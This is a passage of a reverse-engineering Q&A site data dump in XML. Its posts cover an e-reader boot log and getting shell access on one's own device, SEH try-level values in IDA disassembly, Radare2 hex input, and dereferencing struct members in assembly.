  <row Id="25138" PostTypeId="2" ParentId="25136" CreationDate="2020-05-28T10:37:09.967" Score="0" Body="&lt;p&gt;I have seen code like this, but it was quite a while ago!  It only ever relates to the accessing of global variables: often called a Global Offset Table.  More info here:  &lt;a href=&quot;https://stackoverflow.com/questions/55587313/why-use-the-global-offset-table-for-symbols-defined-in-the-shared-library-itself&quot;&gt;https://stackoverflow.com/questions/55587313/why-use-the-global-offset-table-for-symbols-defined-in-the-shared-library-itself&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="33364" LastActivityDate="2020-05-28T10:37:09.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25139" PostTypeId="1" CreationDate="2020-05-28T11:40:39.230" Score="1" ViewCount="194" Body="&lt;p&gt;I'm trying to reverse engineer my E-Reader. It's a Denver EBO-620. I want to change the off screen image and add my own fonts. With help of &lt;a href=&quot;https://www.reddit.com/r/hardwarehacking/comments/glxian/is_it_possible_to_modify_my_ereader_so_i_can_add/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Reddit&lt;/a&gt; I've managed to log the startup sequence (shown down here), but I'm not sure what my next steps should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    =~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2020.05.27 18:56:10 =~=~=~=~=~=~=~=~=~=~=~=&#xA;   Âÿ ÿHELLO! BOOT0 is starting!&#xA;initializing SDRAM OK.&#xA;NAND_RequestDMA  ok&#xA;Succeed in opening nand flash.&#xA;Succeed in reading Boot1 file head.&#xA;The size of Boot1 is 0x00034000.&#xA;The file stored in 0X00000000 of block 2 is perfect.&#xA;Check is correct.&#xA;Ready to disable icache.&#xA;Succeed in loading Boot1.&#xA;Jump to Boot1.&#xA;begin to init file system&#xA;bat vol = 4046&#xA;1&#xA;NB1 : enter NFB_Init&#xA;&#xA;nand_for_boot1.c 135get the good blk ratio from hwscan : 631571392 &#xA;&#xA;NB1 : enter phy init&#xA;&#xA;[NAND] nand driver version: 0x0x00000002, 0x0x00000011, data: 0x20120926&#xA;&#xA;NAND_RequestDMA  ok&#xA;&#xA;[SCAN_DBG] Nand flash chip id is:0x0x0000002c 0x0x00000044 0x0x00000044 0x0x00000000 0x0x8042506c 0x0x0000004b&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;[SCAN_DBG] ==============Nand Architecture Parameter==============&#xA;&#xA;[SCAN_DBG]    Nand Chip ID:         0x0x4b44442c 0x0xffffffff&#xA;&#xA;[SCAN_DBG]    Nand Chip Count:      0x0x00000001&#xA;&#xA;[SCAN_DBG]    Nand Chip Connect:    0x0x00000001&#xA;&#xA;[SCAN_DBG]    Nand Rb Connect Mode:      0x0x00000001&#xA;&#xA;[SCAN_DBG]    Sector Count Of Page: 0x0x00000010&#xA;&#xA;[SCAN_DBG]    Page Count Of Block:  0x0x00000100&#xA;&#xA;[SCAN_DBG]    Block Count Of Die:   0x0x00000800&#xA;&#xA;[SCAN_DBG]    Plane Count Of Die:   0x0x00000002&#xA;&#xA;[SCAN_DBG]    Die Count Of Chip:    0x0x00000001&#xA;&#xA;[SCAN_DBG]    Bank Count Of Chip:   0x0x00000001&#xA;&#xA;[SCAN_DBG]    Optional Operation:   0x0x00000008&#xA;&#xA;[SCAN_DBG]    Access Frequence:     0x0x00000028&#xA;&#xA;[SCAN_DBG]    ECC Mode:             0x0x00000005&#xA;&#xA;[SCAN_DBG]    Read Retry Type:      0x0x00000000&#xA;&#xA;[SCAN_DBG]    DDR Type:             0x0x00000000&#xA;&#xA;[SCAN_DBG] =======================================================&#xA;&#xA;&#xA;&#xA;[SCAN_DBG] ==============Optional Operaion Parameter==============&#xA;&#xA;[SCAN_DBG]    MultiPlaneReadCmd:      0x0x00000000, 0x0x00000030&#xA;&#xA;[SCAN_DBG]    MultiPlaneWriteCmd:     0x0x00000011, 0x0x00000080&#xA;&#xA;[SCAN_DBG]    MultiPlaneCopyReadCmd:  0x0x00000000, 0x0x00000000, 0x0x00000035&#xA;&#xA;[SCAN_DBG]    MultiPlaneCopyWriteCmd: 0x0x00000085, 0x0x00000011, 0x0x00000080&#xA;&#xA;[SCAN_DBG]    MultiPlaneStatusCmd:    0x0x00000070&#xA;&#xA;[SCAN_DBG]    InterBnk0StatusCmd:     0x0x00000078&#xA;&#xA;[SCAN_DBG]    InterBnk1StatusCmd:     0x0x00000078&#xA;&#xA;[SCAN_DBG]    BadBlockFlagPosition:   0x0x00000001&#xA;&#xA;[SCAN_DBG]    MultiPlaneBlockOffset:  0x0x00000001&#xA;&#xA;[SCAN_DBG] =======================================================&#xA;&#xA;NB1 : nand phy init ok&#xA;&#xA;src\format\nand_format.c 2623[FORMAT_ERR] format nand flash*********!&#xA;&#xA;PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000001 &#xA;&#xA;PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000000 &#xA;&#xA;NB1 : init ok&#xA;&#xA;mount successfully.&#xA;0&#xA;Source clock is HOSC, preScale=64, interval=375&#xA;&#xA; Mount Parts Thread runniMInit : enter init nand flash driver&#xA; nand driver version: 0x2 0x11&#xA; nand_drv.c 166 ---------------&#xA; ------&#xA;  nand_drv.c 192 --nand disk size: 0x780000&#xA;&#xA; partition [D] plug in..&#xA;&#xA; partition [Z] plug in..&#xA; Mount Parts Thread work now.....&#xA;&#xA; partition [E] plug in..&#xA; Mount Parts Thread work end....&#xA; $$$$ eink clock is 8 $$$$$&#xA; eink_GetFileCntFromDir path = v:\&#xA; eLIBs_opendir failed!&#xA; AWF fp=0&#xA; -------------open awf file failed, try to open backup awf-----------&#xA; AWF file length=545 K&#xA; LCD TCON OPEN&#xA; MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm&#xA; .....................................................................................................................&#xA; .Please press enter key(keypad or irkey) to continue!&#xA;..............................................................&#xA; .....................................................................................................................&#xA; Esh_StartUp &#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  1 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; Execute startup script begin..............&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  -382909968 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  1 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; Esh Error:  OpenConfigFile y:\config\config.bin failed.&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  -382909968 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  1 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_t41 set tmpNewCpu = 37yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  1 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  -382909968 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ===================yyparse start====================&#xA; yynerrs.1 =  0 &#xA; yynerrs.2 =  0 &#xA; outtree-&amp;gt;op_type =  1 &#xA; yynerrs.3 =  0 &#xA; &amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;yyparse end&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&#xA; ...............Execute startup script end&#xA; Esh_StartUp finish&#xA; Esh msg:  shell maidesktop_server_init plug tp start&#xA; desktop_server_init plug tp over&#xA; dsk_orchid_createDisk over&#xA; d_createDisk over&#xA;  dsk_orchid_check over&#xA; dsk_voice_set_volume over&#xA; dsk_display_set_lcd_bright over&#xA; dsk_keytone_init over&#xA; dsk_keytone_set_state over&#xA; dsk_app_reg_init over&#xA; dsk_langres_set_type over&#xA; 214 Date parameter is invalid!(Y2020, M5, D28)&#xA; 214 Date parameter is invalid!(Y2020, M5, D28)&#xA; 214 Date parameter is invalid!(Y2020, M5, D28)&#xA;&#xA; eink_GetFileCntFromDir path = v:\&#xA; eLIBs_opendir failed!&#xA; AWF fp=0&#xA; -------------open awf file failed, try to open backup awf-----------&#xA; AWF file length=545 K&#xA; LCD TCON OPEN&#xA; MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm&#xA; LCD TCON close&#xA; B þ           `     €ÿ&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;EDIT: Sorry I forgot to say that this ereader indeed runs on an allwinner E200 chip. So most likely it's the allwinner os (probably 2.0, but that's not sure).&lt;/p&gt;&#xA;" OwnerUserId="33365" LastEditorUserId="33365" LastEditDate="2020-05-28T12:18:33.170" LastActivityDate="2020-06-27T13:02:45.217" Title="I need help reverse engineering my ereader (trying to get into the shell)" Tags="|firmware|linux|firmware-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25140" PostTypeId="2" ParentId="25139" CreationDate="2020-05-28T11:57:28.163" Score="1" Body="&lt;p&gt;The boot log seems similar to the one &lt;a href=&quot;https://linux-sunxi.org/FEL&quot; rel=&quot;nofollow noreferrer&quot;&gt;from this page&lt;/a&gt;, so there's a high possibility this device is using an AllWinner SoC. You can try the tools from the &lt;a href=&quot;https://github.com/linux-sunxi/sunxi-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;linked repository&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option could be to dump the flash and analyze it.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-28T11:57:28.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25141" PostTypeId="2" ParentId="25136" CreationDate="2020-05-28T12:10:36.860" Score="2" Body="&lt;p&gt;The function you (or IDA) labeled &lt;code&gt;start&lt;/code&gt; is commonly called &lt;code&gt;__x86.get_pc_thunk.bx&lt;/code&gt; and is used by GCC and other compilers to calculate the current execution address for &lt;em&gt;Position independent code&lt;/em&gt; (PIC). Usually the &lt;code&gt;add&lt;/code&gt; instruction after the call results in &lt;code&gt;ebx&lt;/code&gt; gettng the value of the GOT (Global offset table) so that external calls can be done without extra setup (the PLT stubs for external calls in PIC executables assume that &lt;code&gt;ebx&lt;/code&gt; points to the GOT), but also global data can be addressed using a fixed offset relative to the GOT. This way the code can run regardless of the actual address at which it has been loaded by the OS (i.e. it is position independent).&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-28T12:10:36.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25144" PostTypeId="1" CreationDate="2020-05-28T18:32:03.867" Score="1" ViewCount="368" Body="&lt;p&gt;Who can explain to me, why this line code there is before each &lt;code&gt;jmp&lt;/code&gt; or end of some part of code where there is label. What this line of code is to do?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     [ebp+var_4], 0FFFFFFFFh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is &lt;code&gt;WinMain&lt;/code&gt; used C++. I used try/catch.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00411260                 push    ebp&#xA;.text:00411261                 mov     ebp, esp&#xA;.text:00411263                 push    0FFFFFFFFh&#xA;.text:00411265                 push    offset unk_414FC8&#xA;.text:0041126A                 push    offset loc_411050&#xA;.text:0041126F                 mov     eax, large fs:0&#xA;.text:00411275                 push    eax&#xA;.text:00411276                 mov     large fs:0, esp&#xA;.text:0041127D                 add     esp, 0FFFFFFA0h&#xA;.text:00411280                 push    ebx&#xA;.text:00411281                 push    esi             ; uType&#xA;.text:00411282                 push    edi             ; uType&#xA;.text:00411283                 mov     [ebp+var_18], esp&#xA;.text:00411286                 mov     [ebp+var_1C], 64h&#xA;.text:0041128D                 mov     [ebp+var_20], 96h&#xA;.text:00411294                 mov     [ebp+var_4], 0&#xA;.text:0041129B                 mov     eax, [ebp+var_1C]&#xA;.text:0041129E                 add     eax, [ebp+var_20]&#xA;.text:004112A1                 mov     [ebp+var_24], eax&#xA;.text:004112A4                 int     3               ; Trap to Debugger&#xA;.text:004112A5                 mov     [ebp+var_4], 0FFFFFFFFh&#xA;.text:004112AC                 jmp     short loc_4112D2&#xA;.text:004112AE ; ---------------------------------------------------------------------------&#xA;.text:004112AE                 mov     eax, 1&#xA;.text:004112B3                 retn&#xA;.text:004112B4 ; ---------------------------------------------------------------------------&#xA;.text:004112B4                 mov     esp, [ebp-18h]&#xA;.text:004112B7                 push    0&#xA;.text:004112B9                 push    offset Caption  ; &quot;Error1&quot;&#xA;.text:004112BE                 push    offset Caption  ; &quot;Error1&quot;&#xA;.text:004112C3                 push    0               ; hWnd&#xA;.text:004112C5                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)&#xA;.text:004112CB                 mov     [ebp+var_4], 0FFFFFFFFh&#xA;.text:004112D2&#xA;.text:004112D2 loc_4112D2:                             ; CODE XREF: WinMain+4Cj&#xA;.text:004112D2                 mov     [ebp+var_28], 64h&#xA;.text:004112D9                 mov     [ebp+var_2C], 96h&#xA;.text:004112E0                 mov     [ebp+var_4], 1&#xA;.text:004112E7                 mov     eax, [ebp+var_28]&#xA;.text:004112EA                 add     eax, [ebp+var_2C]&#xA;.text:004112ED                 mov     [ebp+var_30], eax&#xA;.text:004112F0                 mov     eax, [ebp+var_30]&#xA;.text:004112F3                 cdq&#xA;.text:004112F4                 xor     ecx, ecx&#xA;.text:004112F6                 idiv    ecx&#xA;.text:004112F8                 mov     [ebp+var_30], eax&#xA;.text:004112FB                 mov     [ebp+var_4], 0FFFFFFFFh&#xA;.text:00411302                 jmp     short loc_411328&#xA;.text:00411304 ; ---------------------------------------------------------------------------&#xA;.text:00411304                 mov     eax, 1&#xA;.text:00411309                 retn&#xA;.text:0041130A ; ---------------------------------------------------------------------------&#xA;.text:0041130A                 mov     esp, [ebp-18h]&#xA;.text:0041130D                 push    0&#xA;.text:0041130F                 push    offset Text     ; &quot;Error2&quot;&#xA;.text:00411314                 push    offset Text     ; &quot;Error2&quot;&#xA;.text:00411319                 push    0               ; hWnd&#xA;.text:0041131B                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)&#xA;.text:00411321                 mov     [ebp+var_4], 0FFFFFFFFh&#xA;.text:00411328&#xA;.text:00411328 loc_411328:                             ; CODE XREF: WinMain+A2j&#xA;.text:00411328                 xor     eax, eax&#xA;.text:0041132A                 mov     ecx, [ebp+var_10]&#xA;.text:0041132D                 mov     large fs:0, ecx&#xA;.text:00411334                 pop     edi&#xA;.text:00411335                 pop     esi&#xA;.text:00411336                 pop     ebx&#xA;.text:00411337                 mov     esp, ebp&#xA;.text:00411339                 pop     ebp&#xA;.text:0041133A                 retn    10h&#xA;.text:0041133A WinMain         endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33371" LastEditorUserId="245" LastEditDate="2020-05-29T19:40:14.593" LastActivityDate="2020-05-29T19:40:14.593" Title="Variable var_4 filled with value -1" Tags="|ida|disassembly|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25145" PostTypeId="2" ParentId="25144" CreationDate="2020-05-28T19:10:10.693" Score="4" Body="&lt;p&gt;In binaries compiled with Visual C++, functions which use SEH (Structured exceptions handling), usually use &lt;code&gt;var_4&lt;/code&gt; (&lt;code&gt;[ebp-4]&lt;/code&gt;) for the &lt;em&gt;try level&lt;/em&gt; value (value specifying the current SEH scope block). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value 0FFFFFFFFh (or -1) is used for the outermost, global function scope (i.e. before and after any &lt;code&gt;__try&lt;/code&gt; blocks). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info check &lt;a href=&quot;http://www.openrce.org/articles/full_view/21&quot; rel=&quot;nofollow noreferrer&quot;&gt;my OpenRCE article&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-28T19:10:10.693" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25146" PostTypeId="2" ParentId="12235" CreationDate="2020-05-29T02:59:20.093" Score="0" Body="&lt;p&gt;See also &lt;a href=&quot;https://pypi.org/project/DAKimport/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pypi.org/project/DAKimport/&lt;/a&gt; which was developed using Guntram's Java code and by further disassembly of Silverknit Utility.&lt;/p&gt;&#xA;" OwnerUserId="31531" LastActivityDate="2020-05-29T02:59:20.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25147" PostTypeId="1" AcceptedAnswerId="25149" CreationDate="2020-05-29T10:05:49.583" Score="0" ViewCount="209" Body="&lt;p&gt;I am reading a book on reversing and I am curious about one of the assembly snippet i have read in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a simple disassembly of the function RtlNumberGenericTableElements and it looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push ebp&#xA;mov ebp, esp&#xA;mov eax, dword ptr [ebp+8]&#xA;mov eax, dword ptr [eax+14]&#xA;pop ebp&#xA;ret 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it occured to me, say there is a member of a structure that is a pointer to some other structure. How would I go about dereferencing that member?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct example {&#xA;  int member1;&#xA;  *object member2;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would I be dereferencing member 2 like so (pointer to struct comes as first param):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp+8]&#xA;mov eax, dword ptr [eax]&#xA;mov eax, [eax+8] ; this would get me the pointer to member2???&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any input appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see, your explanation was understandable, thank you, I appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one more question that popped up from my mind. Say in your example, member 2 is a pointer to an int, then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp + 8] ; eax contains pointer to struct and its first member&#xA;mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Say i would like to get the value of member to into ecx i would carry on like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [eax]&#xA;mov ecx, [eax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the whole thing would read like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp + 8] ; eax contains pointer to struct and its first member&#xA;mov eax, [eax + 4] ; eax contains a pointer to member2 (this is a pointer to an int)&#xA;mov eax, [eax]     ; dereferenfce the pointer that is pointing to member2&#xA;mov ecx, [eax]     ; dereference member2 itself that is a pointer to an int&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="33207" LastEditorUserId="33207" LastEditDate="2020-05-29T13:30:08.387" LastActivityDate="2020-05-29T13:30:08.387" Title="dereferencing structure members" Tags="|disassembly|assembly|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25148" PostTypeId="1" CreationDate="2020-05-29T10:40:25.623" Score="1" ViewCount="155" Body="&lt;p&gt;Frequently when I use Radare2 I work mostly in hexadecimal. This means I'm constantly having to remember to type &lt;code&gt;0x&lt;/code&gt; in front of addresses, which is different from the machine-language monitors I'm used to using. (I'm generally working with binaries for 8-bit systems, where decimal is rarely used when working in machine language.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to set the default input radix to hexadecimal? I'd like to be able to type &lt;code&gt;s ff00&lt;/code&gt; instead of &lt;code&gt;s 0xff00&lt;/code&gt; at the command line, and &lt;code&gt;gff00&lt;/code&gt; instead of &lt;code&gt;g0xff00&lt;/code&gt; in visual mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if I can do this, how does one enter decimal numbers, should that be necessary, in this mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Links to documentation are appreciated.&lt;/p&gt;&#xA;" OwnerUserId="28616" LastActivityDate="2020-05-29T20:42:24.537" Title="How can I change the default input radix to hexadecimal in Radare2?" Tags="|radare2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25149" PostTypeId="2" ParentId="25147" CreationDate="2020-05-29T11:28:15.047" Score="0" Body="&lt;p&gt;After compilation, a pointer to a C struct will be pointing to its first element. In your example, &lt;code&gt;[ebp + 8]&lt;/code&gt; is a pointer to &lt;code&gt;member1&lt;/code&gt; and you can access a pointer to &lt;code&gt;member2&lt;/code&gt; like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, [ebp + 8] ; eax contains pointer to struct and its first member&#xA;mov eax, [eax + 4] ; eax contains a pointer to member2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When in any doubt, you can always write a simple program, compile it and check the resulting assembler code. In your case, you could write something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;struct example&#xA;{&#xA;    int member1;&#xA;    void* member2;&#xA;};&#xA;&#xA;&#xA;void initialiseStruct(struct example* e)&#xA;{&#xA;    e-&amp;gt;member1 = 1;&#xA;    e-&amp;gt;member2 = NULL;&#xA;}&#xA;&#xA;int main()&#xA;{&#xA;    struct example e;&#xA;    initialiseStruct(&amp;amp;e);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then compile it and run &lt;code&gt;objdump -dM intel FILENAME&lt;/code&gt; to get a snippet like the following one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000054d &amp;lt;initialiseStruct&amp;gt;:&#xA; 54d:   55                      push   ebp&#xA; 54e:   89 e5                   mov    ebp,esp&#xA; 550:   e8 6b 00 00 00          call   5c0 &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&#xA; 555:   05 83 1a 00 00          add    eax,0x1a83&#xA; 55a:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]&#xA; 55d:   c7 00 01 00 00 00       mov    DWORD PTR [eax],0x1 ; e-&amp;gt;member1 = 1&#xA; 563:   8b 45 08                mov    eax,DWORD PTR [ebp+0x8]&#xA; 566:   c7 40 04 00 00 00 00    mov    DWORD PTR [eax+0x4],0x0 ; e-&amp;gt;member2 = NULL&#xA; 56d:   90                      nop&#xA; 56e:   5d                      pop    ebp&#xA; 56f:   c3                      ret  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Regarding your second question: you should view &lt;code&gt;[]&lt;/code&gt; in assembly like &lt;code&gt;*&lt;/code&gt; in C in case of &lt;code&gt;mov&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;member2&lt;/code&gt; points to &lt;code&gt;int&lt;/code&gt;, you can access this integer 